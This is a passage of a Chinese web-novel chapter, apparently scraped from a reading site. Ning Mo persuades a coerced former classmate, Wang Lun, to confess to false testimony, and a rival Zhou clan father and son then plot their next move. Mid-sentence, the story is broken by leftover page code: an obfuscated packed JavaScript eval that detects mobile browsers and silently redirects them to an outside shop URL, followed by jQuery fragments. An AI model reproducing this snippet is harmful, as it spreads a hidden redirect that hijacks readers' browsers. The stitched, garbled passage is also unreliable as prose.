“……”


    宁默愣了一下，这都能够听的到动静？


    索性宁默直接站定身子，看向王伦。


    而当烛光映出宁默的脸后，王伦瞳孔骤然收缩如针尖，脸色瞬间惨白如纸，身形惊慌失措到踉跄后退。


    他身体重重地撞在桌沿上，指着宁默，颤声道：“宁……宁默？！你……你是人是鬼？！”


    他声音颤抖，眼珠子瞪得快要凸出来，脸色在烛光下一片惨白。


    “王兄，别来无恙。”


    宁默神色平静地走到桌边，就着那点烛光，自顾自拿起粗陶茶壶，倒了两杯粗茶。


    他将其中一杯推到桌子对面，道：“坐！茶虽然凉了，但还能喝。”


    王伦浑身抖如筛糠，哪里敢坐？


    牙齿打颤间发出“咯咯”声：“你……你没死……贾知府明明说……”


    “说我即日问斩，尸骨早寒？”


    宁默端起自己那杯茶，抿了一口。


    苦涩的滋味在舌尖化开，一路蔓延到心底，感慨道：“阎王殿前走了一遭，又回来了。和你一样，被那些老爷们，当成可以随意摆弄的棋子，用完即弃。”


    他的语气平平，却字字如刀。


    王伦腿一软，瘫坐在翻倒的凳子上，眼神惊恐又茫然。


    宁默看着他，缓缓道：“我今日来，不是来找你索命的，而是给你一条活路，也给我自己一个公道。”


    “活路？”


    王伦像是被这个词烫了一下，猛地抬头，又迅速低下，声音带着哭腔，道：“我能有什么活路……他们捏着我娘和妹妹……就关在城外某个地方……我若不按他们说的做，她们就……”


    “我现在连她们是死是活都不知道……”


    “我知道。”


    宁默打断他，语气里听不出喜怒，道：“所以我说，你是棋子，也是受害者。但王伦，你想过没有，如今这盘棋，下棋的人自身难保了。”


    王伦愕然抬头。


    “平阳郡主已亲口过问此案，湘南巡抚冯大人、学政范大人已联署发文，重启调查，这几天就会在府衙公堂重审。”


    宁默盯着王伦的眼睛，正色道：“贾存信和陈子安，已是泥菩萨过江，自身难保。你以为他们把你藏在这里是保护？不，是圈养。”


    “一旦事情有变，需要灭口以绝后患的时候，你，就是第一个。”


    王伦闻言，身形颤抖不止，冷汗顺着额角滑下，喉结上下滚动，却发不出声音。


    “你现在若是肯站出来，指证贾、陈如何威逼利诱你作伪证，画出押字，道出细节……一切还有回转的余地。”


    宁默身体微微前倾，给王伦一定的压迫感，接着说道，“到时候，周家可以保你娘和妹妹的平安，接到安全的地方，还会给你一笔盘缠，助你远离湘南，改名换姓，重新开始。”


    宁默看着王伦脸上的神色变化，语气放缓，带着几分追忆过去的感觉，道：“王兄，还记得江州书院外那棵老槐树吗？”


    王伦身体一颤。


    宁默说道：“那年冬天特别冷，你娘病重，家中无钱抓药，你急得在树下哭。我身上唯一值钱的就是那件娘亲缝的厚棉袍，当了三钱银子，硬塞给你一半。”


    “你说，待你高中，定加倍还我。”


    王伦浑身剧震。


    那段几乎被恐惧和羞愧掩埋的记忆，此刻汹涌而来。


    那年寒风，老槐树光秃的枝丫、还有掌心那几块碎银的温度……以及同窗宁默那双坚定和鼓励的眼神。


    他眼圈猛地红了，嘴唇哆嗦着，却像被扼住了喉咙，一句话也说不出来。


    “我没想过你还……同窗之谊，寒门互助，本该如此。”


    宁默盯着他，目光仿佛能够直视灵魂，叹息道：“可我不曾想，有一天，这‘谊’字，会变成刺向我心口的刀。”


    “宁兄！我……”


    王伦终于崩溃，伏在斑驳的木桌上，压抑地痛哭起来，肩膀剧烈耸动，哽咽道：“我对不起你……我不是人……他们拿我全家性命要挟，我没办法……我真的没办法啊！”


    “我每晚都做噩梦……梦见你浑身是血地问我为什么……”


    哭声嘶哑，混杂着无尽的悔恨与恐惧。


    宁默静静等着，等他哭声稍歇，才将另一杯凉茶推得更近看些：“现在，你有办法了。把真相说出来，把刀尖调转，对准真正该对准的人。这是你唯一的自救之路，也是你偿还亏欠，重拾良知的唯一机会。”


    王伦抬起头，脸上涕泪横流，在昏黄灯光下显得狼狈不堪。


    但他的眼神，在剧烈的挣扎后，渐渐聚起一丝微弱的光。


    他颤声问，用尽了力气道：“我……我若说了，周家真能保我家人？真能？”


    “周家大小姐一诺千金。”


    宁默神情肃然，正色道：“我宁默，可以在此立誓，若违此诺，天地不容。”


    王伦死死盯着他的眼睛，仿佛要从那深邃的眼眸中找到最后一点可信赖的依托。


    良久，他终于重重点头，眼中闪过一丝破釜沉舟的决绝：“好！我说！我都说！”


    旋即，他不仅将贾存信师爷如何找到他，以重金和全家性命威逼利诱，让他模仿宁默笔迹在考卷副本上添加小抄，并串供诬告的过程和盘托出。


    还在宁默细致的引导下，想起一个几乎被遗忘的关键细节：


    “那师爷……姓吴，有个怪癖，喜欢收藏经过他手的一些重要手迹。”


    “他当时拿着我和另外两人作证画押的状纸原件，还有那份做了手脚的考卷副本，嘀咕着说……‘此物值得留存，以做纪念’。原件，很可能还在他手里！”


    宁默眼中精光一闪。


    这简直是意外之喜！


    若真能拿到原件，便是铁证！


    “很好，来，你写下证词！”


    宁默让王伦当即写下详细证词，并重重按上手印。


    随后向着窗外发出约定好的鸟鸣信号，很快……周彪就带着两名护卫心腹悄然潜入，将王伦秘密带走。


    准备安置到周家的一处货栈之中，派专人保护看守。


    “兄弟，真有你的！”


    回去的路上，周彪忍不住佩服道，蒲扇般的大手拍在宁默肩上，道：“这就叫……不战而屈人之兵？你们读书人的心眼子，就是多！”


    宁默被他拍得晃了晃，望着远处湘南城依稀的轮廓，淡淡道：“是给走投无路的人，搭一座能回头的桥。”


    夜风微凉，吹动他额前碎发，也吹散了身后田庄里最后一点不安的骚动。


    天，快要亮了。


    ……


    此刻，悦来客栈。


    天字号上房。


    烛火通


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17267416|198102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    明，将室内照得恍如白昼。


    上好的银霜炭在铜盆里静静地燃烧，驱散了深秋的寒意，却驱不散空气中的凝重。


    周柏川背着手，在铺着厚绒地毯的房间里踱步。


    他心神沉重，面前的书桌上，摊开着几份刚送来的情报，全是跟宁默有关。


    周明轩站在一旁，看着父亲越来越凝重的脸色，有些不安：“父亲，不过是一个支脉赘婿，再能写几首诗，又能如何？明日公审，他拿不出铁证，一样翻不了身。我们按原计划，等他们两败俱伤，再收渔利便是……”


    “原计划？”


    周柏川猛地停步，转身指着那几份密报，手指几乎戳到纸上，沉声道：“你看看！‘疏影横斜水清浅，暗香浮动月黄昏’！你再看看这个！‘君不见黄河之水天上来，奔流到海不复回’！还有这个！‘十步杀一人，千里不留行’！”


    他每念一句，声音就提高一分，胸膛微微起伏，素来沉稳的脸上有些破防，厉声道：“这是‘几首诗’？这是足以流传千古、光耀文坛的惊世之作！”


    “更遑论他在易理辩难、书画之道上的造诣……你告诉我，放眼我苏北周氏年轻一辈，可有能与他比肩者？放眼整个大禹朝，这等人物，几年能出一个？！”


    周明轩被父亲的疾言厉色震住，讷讷不敢言。


    他自幼被父亲教导要喜怒不形于色，可此刻父亲却是直接破防了，可想而知他内心的震撼程度。


    许久。


    周柏川长叹一声，那叹息里满是懊恼与重新估量局势的复杂情绪。


    他颓然坐回铺着软垫的黄花梨木椅中，揉了揉眉心，仿佛瞬间老了几岁，道：“贾存信、陈子安……这两个十足的蠢货！如此人杰，不想着笼络结交，竟用最下作的手段去陷害、去夺功？简直鼠目寸光！”


    “他们这不是在害人，是在给自己，也给所有牵扯进去的人掘墓！”


    他闭上眼，脑中飞快盘算，过往几十年的阅历和城府在这一刻全力运转……


    关于宁默在诗会上的表现，周清澜的选择，还有平阳郡主的介入，以及巡抚学政的态度……无数线索在脑海中交织成网。


    再睁开眼时，周柏川眼中已恢复往日的精明，只是变得更加深沉起来：“此子绝非池中物。心性、才学、胆识、应变，皆是上上之选。”


    “如今他攀上了周清澜，得了周家之势，更有平阳郡主青睐……一旦此案翻过来，他便如潜龙出渊，再难遏制。”


    “届时，他将是湘南周家最坚固的支柱，也是我们谋取此脉家业的最大障碍。”


    周明轩小心问道：“那……父亲，我们该如何是好？难道就此放弃湘南基业？我们被周家另一脉打压多年……就等着吞并这一脉壮大自己……”


    “放弃？”


    周柏川嘴角扯出一个冰冷的弧度，冷笑道：“怎么可能放弃！只是计划要变……硬夺不成，那便智取，甚至……可以尝试拉拢。”


    他手指轻敲桌面，发出有节奏的“叩叩”声，那是他思考时的习惯。


    “周清澜选他，是看中他的才华潜力，用以支撑门庭，抗衡我们。我们若能让这宁默转向我们，湘南周家，不攻自破。至少，也要让他为我们所用，而非阻碍。”


    “如何拉拢？”


    周明轩疑惑道：“他如今恨贾、陈入骨，而我们与贾、陈……”